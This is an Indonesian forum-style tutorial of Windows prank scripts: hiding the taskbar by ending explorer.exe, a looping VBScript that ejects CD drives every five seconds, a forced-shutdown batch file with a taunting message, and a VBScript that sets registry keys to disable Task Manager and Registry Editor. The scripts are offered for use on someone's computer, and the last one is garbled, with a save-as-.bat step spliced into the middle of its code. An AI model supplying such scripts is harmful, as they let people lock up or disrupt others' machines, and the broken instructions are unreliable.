*Bikin taksbar ilang
-------------------------------
Buka Task Manager [Ctrl + Alt + del], abis itu cari "explorer.exe" => klik kanan => di end process!
Hasilnya cma kursor & desktop yg ga bsa di klik apa2
balikinnya?
Buka task manager atau [Ctrl + alt + del], file -> new task, isi explorer.exe, ok
ato klo ga keluar task managernya, restart paksa aja
*Membuat CD Room Eject / Keluar Terus!
--------------------------------
1. Buka Notepad,
2. Copy-Paste kode dibawah ini :
Code:
Set oWMP = CreateObject(“WMPlayer.OCX.7?)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
3. Save > ecka.vbs jangan lupa "save as type-nya ganti ke all files dulu yah"
*Membuat Komputer Mati dalam hitungan Menit
--------------------------------------------
1. Buka notepad,
2. lalu ketik shutdown -s -f -t 5,
3. bisa juga ditambahkan comment seperti - c "mampus lo" (pake tanda petik),
4. kemudian save, rename file notepad tadi contoh shutdown.txt menjadi shutdown.bat.
5. Jalankan "shutdown.bat"
*Bikin TaskManager Disable
----------------------------------------------
1. Buka Notepad.
2. Copy kode dibawah ini,
Dim WSHShell, n, MyBox, p,r , t, mustboot, errnum, vers
Dim enab, disab, jobfunc, itemtype
Set WSHShell = WScript.CreateObject("WScript.Shell")
p = "HKCU\Software\Microsoft\Windows\CurrentVersion\Po licies\System\"
p = p & "DisableTaskMgr"
r = "HKCU\Software\Microsoft\Windows\CurrentVersion\Po licies\System\"
r = r & "DisableRegistryTools"
itemtype = "REG_DWORD"
enab = "ENABLE"
disab = "DISABLED"
t = "Confirmation"
Err.Clear
On Error Resume Next
n = WSHShell.RegRead (p)
On Error Goto 0
errnum = Err.Number
3. Save dengan extension ".bat" => Klik 2x
if errnum <> 1 then
WSHShell.RegWrite p, 1, itemtype
End If
if errnum <> 1 then
WSHShell.RegWrite r, 1, itemtype
End If
If n = 0 Then
n = 1
WSHShell.RegWrite p, n, itemtype
Mybox = MsgBox(jobfunc & disab & vbCR & mustboot, 4096, t)
ElseIf n = 1 then
n = 0
WSHShell.RegWrite p, n, itemtype
Mybox = MsgBox(jobfunc & enab & vbCR & mustboot, 4096, t)
End If
sumber:Kaskus.us
EmoticonEmoticon